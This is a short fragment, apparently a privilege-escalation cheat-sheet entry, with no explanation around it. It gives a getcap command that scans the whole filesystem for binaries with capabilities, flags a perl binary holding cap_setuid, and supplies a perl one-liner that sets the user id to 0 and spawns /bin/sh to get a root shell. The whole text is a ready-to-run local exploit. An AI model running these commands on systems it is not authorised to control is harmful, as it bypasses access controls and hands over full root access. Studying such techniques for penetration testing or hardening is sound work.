getcap -r / 2>/dev/null
cap_setuid
/bin/perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'